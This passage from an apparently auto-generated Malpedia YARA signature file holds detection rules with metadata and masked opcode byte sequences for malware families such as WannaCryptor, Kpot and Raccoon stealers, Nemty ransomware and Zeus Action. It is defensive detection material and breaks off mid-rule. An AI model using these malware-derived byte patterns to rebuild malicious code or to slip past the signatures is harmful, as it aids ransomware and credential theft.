		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01aa6919-6be4-5745-a8e3-92d4cccf9097"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannacryptor_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "7ff7fdcfef87dab5f03024d09ebe3e1d6a9751642113edcd42b1cf950ced5962"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 7403 8b4004 50 8b442428 }
		$sequence_1 = { c744243802000000 e8???????? 55 8d4c2420 b303 50 51 }
		$sequence_2 = { 8d7e44 85c0 755f 8b17 8d4c241c 6a01 51 }
		$sequence_3 = { 7d0d 8b5168 8b7960 03d7 }
		$sequence_4 = { c644243404 e8???????? 8d4c241c 885c2430 }
		$sequence_5 = { 8d542418 c744243005000000 8b41f8 8b4e74 2bc1 }
		$sequence_6 = { 8a02 8bcf 88442418 e8???????? 8b542410 c744243000000000 }
		$sequence_7 = { c7442430ffffffff e8???????? e9???????? 85c0 754b }
		$sequence_8 = { 88442418 e8???????? 8b542410 c744243000000000 52 50 8d442420 }
		$sequence_9 = { 89442418 0f8c42ffffff 8b442438 5f 85c0 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2d1c2c52-a27f-577a-ba10-9c57d7ba8b38"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kpot_stealer_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "c16845199544fc6722c4e2fc31a24b6089435ba431e0486f2fdbb3a3dff70b56"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0bce 0fb67007 0fb64006 c1e608 }
		$sequence_1 = { 8b4608 8b0e ff3481 ff15???????? 8b4608 8b4e04 }
		$sequence_2 = { d1e8 8bc8 81e100000007 8bd8 }
		$sequence_3 = { 8a02 3c2d 7506 33ff 47 42 eb07 }
		$sequence_4 = { 59 8d4df8 51 ff75f8 }
		$sequence_5 = { 57 8bf8 8b4518 0fb67005 }
		$sequence_6 = { 0bd1 8bcf c1e11b d1ef }
		$sequence_7 = { 8bd6 e8???????? c6043700 8bc7 5f }
		$sequence_8 = { 8a07 84c0 7417 8a0c3a 47 3ac8 74f2 }
		$sequence_9 = { 53 56 57 8bf8 8b4518 0fb67005 }
	condition:
		7 of them and filesize < 219136
}

rule MALPEDIA_Win_Asprox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "760d5ba5-eb2e-56fe-8b68-64c041182dd0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asprox_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "0433055da9e2395dd1bdc28ed8f399d8aecafba94a64506b61f0a5f3795ff961"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8955d4 eb05 e9???????? 8b45d4 898538ffffff c6459447 }
		$sequence_1 = { e9???????? 8b03 83780400 0f84fe070000 8b10 0fb612 8b4b1c }
		$sequence_2 = { 038cfe94c90000 0394fe98c90000 668945d0 c1e810 66894dd4 c1e910 668955d8 }
		$sequence_3 = { c645f300 6800100000 6a00 a1???????? 50 ff15???????? 8945f8 }
		$sequence_4 = { 49 7407 33c0 e9???????? 3bd3 0f858d000000 8b4e0c }
		$sequence_5 = { e8???????? 83c414 8b55e8 8955f0 c745e400000000 6a10 8d45e4 }
		$sequence_6 = { 895e04 40 eb20 8bc3 eb1c e8???????? }
		$sequence_7 = { 52 8b45fc 50 ff15???????? 83c408 68???????? 8b4dfc }
		$sequence_8 = { 51 8b952cffffff 52 ff15???????? 898558ffffff 8b8560ffffff 898570ffffff }
		$sequence_9 = { 6a00 8b55e4 52 ff15???????? 8a45fb 8be5 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Raccoon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "426735cd-205f-5856-956c-bf7b885a57ea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.raccoon_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "30039f1e9ada41f0fa18f5ba2d7fb988ae243b357b509d0986ea0785e88878da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 ff75f8 c745fcff070000 ff15???????? 85c0 7488 }
		$sequence_1 = { e8???????? e9???????? 8d45f0 c645f001 51 50 }
		$sequence_2 = { 7403 832700 8b5d14 33f6 83fb01 7507 }
		$sequence_3 = { 394708 7417 684c0e0000 68???????? 68???????? }
		$sequence_4 = { 51 8bc2 8945fc 56 8bf1 }
		$sequence_5 = { 8d4dfc 51 8d4df8 c745ec02000000 51 }
		$sequence_6 = { 56 57 e8???????? 83c414 ff75f4 ff15???????? }
		$sequence_7 = { 8d45ec c706???????? 50 53 ff75e4 895dec ff15???????? }
		$sequence_8 = { 8d55cc ff75cc 52 ff5024 807dcc00 6a04 58 }
		$sequence_9 = { 8975e4 894df0 33c0 40 8945fc }
	condition:
		7 of them and filesize < 1212416
}

rule MALPEDIA_Win_Solarbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "05e274f3-e1a5-5d28-b9c3-6c8b8c413847"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.solarbot_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "531287eb552516451607fb4943bd4268dc00786ea51d0ac858b62961b07eaa85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745f800000000 6a00 8d55fc 52 89da 8b0a }
		$sequence_1 = { 8945fc 8b7d14 8b4518 8945f4 8b451c c745ec00000000 6a00 }
		$sequence_2 = { 8b55f8 01d0 50 8b55fc 8b45f8 01c2 52 }
		$sequence_3 = { 8b85f8feffff 8b5020 0395f0feffff 89d8 c1e002 01c2 }
		$sequence_4 = { 8b8524f8ffff 0fb610 83fa50 0f8598000000 83bd20f8ffff21 0f868b000000 }
		$sequence_5 = { 89ca 8d1453 0fb712 85d2 7ff3 89c8 }
		$sequence_6 = { 8945a8 e9???????? ff75a4 ff75e0 681a040000 }
		$sequence_7 = { 0f8580020000 8b85d0fdffff 85c0 0f8472020000 c785e0fdffff00000000 bf00000000 be00000000 }
		$sequence_8 = { 8945e0 eb2d 6a1c 8d45e4 50 }
		$sequence_9 = { 50 e8???????? 89c3 53 e8???????? 8945f4 89f0 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Rm3_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ae32a8ae-4008-5a29-ba53-9431479c4978"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rm3_auto.yar#L1-L393"
		license_url = "N/A"
		logic_hash = "04a502f8c76326d2d2ff87950393542f221575ef954be32116492ddddf4bc28b"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b483c 03c8 0fb74106 8365f800 }
		$sequence_1 = { 897104 8b4808 ff7004 034c240c 8b00 51 }
		$sequence_2 = { 7303 8975f8 8b45f8 83c628 ff4dfc 85c0 7505 }
		$sequence_3 = { 53 8945fc 0fb74114 56 57 8d740818 }
		$sequence_4 = { 8b4508 3b460c 7247 8b7938 8b4608 8b513c }
		$sequence_5 = { 56 57 8d740818 8b4508 3b460c 7247 }
		$sequence_6 = { 8b460c 03c2 394508 7303 8975f8 8b45f8 }
		$sequence_7 = { f7d2 23fa 3bf8 7609 8b413c 8d5418ff }
		$sequence_8 = { 8bec 51 837d0804 53 56 6a57 }
		$sequence_9 = { 8bf0 6a08 8d7e10 5a 8bc7 8d4df8 e8???????? }
		$sequence_10 = { 56 57 8bd8 8bf9 8db5f0feffff 8bce 8d041b }
		$sequence_11 = { 8bc6 e8???????? 56 ff7510 8d8df4feffff 51 ff7508 }
		$sequence_12 = { 51 8365fc00 56 8d4508 50 6a08 }
		$sequence_13 = { e8???????? ff7518 8d8578ffffff 50 50 8bc8 e8???????? }
		$sequence_14 = { 8d856cfeffff ff750c 8d8de8fdffff 50 e8???????? ff7518 }
		$sequence_15 = { 8bc6 e8???????? 6a58 6a00 56 e8???????? 83c40c }
		$sequence_16 = { 4883ec30 488b05???????? 4c8ba42480000000 498bf1 4c8b90b0000000 }
		$sequence_17 = { 4833d0 488bc2 48c1e81b 4833d0 488bc2 480fafc3 488901 }
		$sequence_18 = { 4883ec50 418bf0 4c8b05???????? 498bf9 4d8b80c8000000 488bea 4c8d48d8 }
		$sequence_19 = { 4c8d443b80 488d48b8 488d5098 e8???????? 85c0 0f84f0000000 8b4c2470 }
		$sequence_20 = { 3c41 7204 3c5a 763e 3c61 7204 3c7a }
		$sequence_21 = { ff15???????? 85c0 8bd8 0f8560020000 8a442431 3c02 }
		$sequence_22 = { 4885c0 488bd8 742f 8d4f01 448bce }
		$sequence_23 = { 488bc3 48c1e80c 4833d8 488bc3 48c1e019 4833d8 488bc3 }
		$sequence_24 = { eb0a 8b45ec 83c410 5e 5f }
		$sequence_25 = { 8945e8 7442 ebcf 8b45dc b931000000 8b15???????? }
		$sequence_26 = { 83ec28 31c0 31c9 8945fc }
		$sequence_27 = { e8???????? 8d0d84308702 31d2 8b75f0 89460c 890c24 }
		$sequence_28 = { 8b4dec 89c2 83c201 89ce }
		$sequence_29 = { 31c9 ba03000000 8d75f1 83ec0c }
		$sequence_30 = { 8d95f1fbffff c785ecfbffff00000000 8db5ecfbffff 8b3d???????? 56 68ff030000 52 }
		$sequence_31 = { 8995d8fbffff 89b5d4fbffff e8???????? 83c40c 8b85d4fbffff 50 e8???????? }
		$sequence_32 = { 8b7138 891424 c744240400000000 89742408 8945dc e8???????? 8b45e0 }
		$sequence_33 = { 894de0 0f84ca000000 8b45cc 8b08 8b55ec 035010 }
		$sequence_34 = { 8b4048 8945b0 8b45b4 8b4040 8945ac }
		$sequence_35 = { 51 ffd0 8b0d???????? 8b95e4fbffff }
		$sequence_36 = { 8b8dccfbffff 51 8bb5e0fbffff 56 }
		$sequence_37 = { 89442404 c744240800000000 8954240c 8b4590 894d80 ffd0 }
		$sequence_38 = { 89cf 83c710 89957cffffff 898d78ffffff 89bd74ffffff 89b570ffffff }
		$sequence_39 = { 890c24 c744240400000000 8955dc e8???????? 8d0d77318702 890424 894c2404 }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Quiterat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "43a5ead4-80ee-505e-8349-ccdf5ab70f14"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quiterat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quiterat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "90260961ae1a599548c6d7cadbabe833b3a94be00dfdebc01e1cf8dc50ee7760"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d442440 50 8d442418 50 8d442438 50 8d4c241c }
		$sequence_1 = { 8d4dac e8???????? 8d4db0 c645fc2b e8???????? 8d45ec 50 }
		$sequence_2 = { e8???????? 8d4c2410 51 50 8bcf e8???????? 8d4c2410 }
		$sequence_3 = { 8d442424 57 50 e8???????? 8b8424bc020000 83c40c 8bc8 }
		$sequence_4 = { e8???????? 6a01 68???????? 8d4c2430 e8???????? ff7004 ff30 }
		$sequence_5 = { f00fc108 0f95c0 84c0 756e 8b44241c eb5b 837f1006 }
		$sequence_6 = { 8b7c241c 8a4c2440 8b4360 8b5364 3b4368 7505 3b536c }
		$sequence_7 = { 8b7c242c 8b4108 83c004 8d1481 89542418 8b410c 8d0c81 }
		$sequence_8 = { c20800 6aff 6a00 68???????? 8d442440 b9???????? 50 }
		$sequence_9 = { 8bf1 33db 57 c706???????? 395e50 7e2d 33ff }
	condition:
		7 of them and filesize < 5892096
}

rule MALPEDIA_Win_Fullmetal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b8b29202-9be6-50e1-9bec-3cebf32dec61"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fullmetal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fullmetal_auto.yar#L1-L95"
		license_url = "N/A"
		logic_hash = "c47370c8b8f3f3ccbb9778b64f7c7a952cf6e37e2cb16598ed18037ff7fcc6b0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 90 8b4714 90 c1e80d }
		$sequence_1 = { 488b05???????? 488d4de0 4d63c8 488bd3 4c8d8300010000 }
		$sequence_2 = { e9???????? 488d1580960200 488bcb ff15???????? }
		$sequence_3 = { 85c0 7918 488d542420 488d0dc0b60200 }
		$sequence_4 = { 83e03f 4c8d3cc0 4a8b84e9404a0400 4a8b44f828 488945e7 458be1 }
		$sequence_5 = { 85c0 7560 49ffc6 6646392c73 75f6 }
		$sequence_6 = { eb20 bffdffffff 488b9424c8000000 488d0d2bc30200 4883c212 }
		$sequence_7 = { 415e c3 8bc1 488d0df7990200 }
	condition:
		7 of them and filesize < 733184
}

rule MALPEDIA_Win_Kerrdown_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "da236d92-1fe9-5457-946f-9d7f9613f9af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kerrdown_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "2d8b506b753eb11d1ef360ccc2cec767f65cb094a11e4e8ce42bcebdfc177559"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85f6 743f 83ff10 b8???????? 0f43c1 85f6 }
		$sequence_1 = { 8d45f8 50 68004a0000 68???????? }
		$sequence_2 = { 741b 56 68???????? 50 e8???????? }
		$sequence_3 = { 75b2 83ff10 8935???????? b8???????? 0f43c1 5e }
		$sequence_4 = { 5f 85c0 7543 50 6880000000 }
		$sequence_5 = { 8bd3 2bd6 8a0e 8d7601 }
		$sequence_6 = { 8935???????? b8???????? 0f43c1 5e }
		$sequence_7 = { 884de5 02c2 33f6 8845e6 0fb64435e4 50 }
		$sequence_8 = { b8???????? 0f43c1 03c2 3d???????? 762a ff750c 83ff10 }
		$sequence_9 = { 80e203 c0e004 02d1 8855e4 8a55ea 8aca }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Boaxxe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5fdff2c4-9858-5230-8586-66650c6fe95c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boaxxe_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "124ce2238ea4b514d8960c521e2c44f0db9f5af3376e938bf1e4f0bfa769f279"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc3 e8???????? 8d55d8 66b89a01 e8???????? ff75d8 68???????? }
		$sequence_1 = { 8b542404 8bc7 e8???????? 8bce 03c9 8b442404 8d1458 }
		$sequence_2 = { 85c0 7410 8bc3 8bd4 b905010000 e8???????? eb0d }
		$sequence_3 = { 6a01 e8???????? 8bd8 bd80000008 85f6 740d 81ff00040000 }
		$sequence_4 = { 64ff30 648920 8b55f0 a1???????? e8???????? 8b55f0 a1???????? }
		$sequence_5 = { 8b4078 85c0 7420 8b54240c 8d0402 89442408 8bc6 }
		$sequence_6 = { 8b5df8 03de 8a1b 8b7dfc 03f9 301f 46 }
		$sequence_7 = { 7411 803c24ac 7507 807c240110 7404 33c0 5a }
		$sequence_8 = { e8???????? 8d45d8 8b55ec e8???????? 8d45d8 8b4df4 8b55f8 }
		$sequence_9 = { 83c9ff 32c0 f2ae f7d1 5f 92 f2ae }
	condition:
		7 of them and filesize < 1146880
}

rule MALPEDIA_Win_Crypmic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a26f518b-f54e-5798-8fd7-c3e715fae74e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypmic_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "c8a49a63b1990f5f0d77a9fcf41412b9f9f6710da574c5641db1ab5f7eadc95a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 83ec10 837d0800 8bc2 894df8 0f868c000000 }
		$sequence_1 = { 740a 8d4002 46 66833800 75f6 8d3c72 33c0 }
		$sequence_2 = { 8d3409 33db 0fb7143e 663bda }
		$sequence_3 = { 66833800 75f6 8d3c72 33c0 }
		$sequence_4 = { 0fb78c15c0fdffff 663bf1 75e8 8b75f4 }
		$sequence_5 = { 8b4e08 53 6a08 ff7604 }
		$sequence_6 = { 8bec 81ec70020000 8b4108 53 56 }
		$sequence_7 = { 56 57 894df4 83f828 7252 83e828 }
		$sequence_8 = { 50 8b4608 6a08 ff7604 ffd0 8bf8 c70728000000 }
		$sequence_9 = { bb04000000 eb27 83f808 7707 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Zeus_Action_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b1bc7ed7-2f41-59f6-b8c0-74ccb733a5b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_action_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "e0a4177bac84ef56b9551fcc42fe4ba9ebe72ed006b608f1d2911d9c311b37c6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 ff15???????? 89866c070000 85c0 0f849c010000 ff15???????? }
		$sequence_1 = { 59 ebb1 8365fc00 8d45fc 50 56 e8???????? }
		$sequence_2 = { 50 ffd6 8b4304 83c40c 83400403 e9???????? 8d4df8 }
		$sequence_3 = { c3 55 8bec 33d2 837d1008 53 8ada }
		$sequence_4 = { ff15???????? 89442420 0fb705???????? 50 ff15???????? 668944241e 6a10 }
		$sequence_5 = { 75e6 8b55e8 8b7508 8b7d0c 8b4510 eb05 }
		$sequence_6 = { 8b3f 8b4f0c 8b5f08 894dfc 8b45f8 3b7df4 0f85ebfeffff }
		$sequence_7 = { 3bc1 7e04 33c0 eb37 8b4d18 0fb73b 8b11 }
		$sequence_8 = { eb76 80f96e 7523 8b4304 8b4804 8b5008 2bd1 }
		$sequence_9 = { 8945e4 85c0 0f849f010000 8b4508 8bf8 c1ef06 a83f }
	condition:
		7 of them and filesize < 827392
}

rule MALPEDIA_Win_Nemty_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cdf39d25-7035-553c-816d-fe9d35a19962"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemty_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "3672eaf2e9c4783f20e7f6ec877d618670612c5d8376e42a0d5a0e87ba0dbd7a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6bf61c 8b45e8 03f0 897308 6bff1c }
		$sequence_1 = { e8???????? 53 8d75e0 e8???????? 8b4dfc 5f 5e }
		$sequence_2 = { e8???????? 6a01 33ff 8d7508 e8???????? 8b4dfc }
		$sequence_3 = { 83c61c 3bd8 72c0 68???????? }
		$sequence_4 = { ff15???????? 53 8d459c 50 ff35???????? }
		$sequence_5 = { e8???????? 33db 43 53 33ff 8d75e0 e8???????? }
		$sequence_6 = { c20400 8b4f04 53 8bd8 56 }
		$sequence_7 = { 5f f7ff 43 83c61c 3bd8 72c0 }
		$sequence_8 = { 837d3810 8bf8 8b4524 59 7303 8d4524 837d3810 }
		$sequence_9 = { 50 56 6806000200 6a01 56 56 68???????? }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Keymarble_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "447d0650-610a-5703-8049-ac11f5ff96b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keymarble_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "e486a69a145cdf890bda9b04db818a44b92722887c60b9c58647de19116cd1c1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 50 e8???????? 83c404 56 6a40 }
		$sequence_1 = { 6a00 6a03 6800000040 57 ffd6 }
		$sequence_2 = { ff15???????? e8???????? 99 b907000000 f7f9 }
		$sequence_3 = { e8???????? 83c408 85c0 7407 bb7a452301 }
		$sequence_4 = { ffd7 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f }
		$sequence_5 = { e9???????? 50 6a00 6810040000 }
		$sequence_6 = { 85db 7407 53 ff15???????? ff15???????? }
		$sequence_7 = { e9???????? 50 6a00 6810040000 ff15???????? }
		$sequence_8 = { ff15???????? 85db 7407 53 ff15???????? ff15???????? }
		$sequence_9 = { 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f }
	condition:
		7 of them and filesize < 1146880
}

rule MALPEDIA_Win_Gemcutter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f2a59f86-1075-5464-b91b-cb447c183566"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gemcutter_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "9745c8061ab88116351043d55251d3e8c32737ca442027c8a6620480abc8c8bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 889ea0314000 }
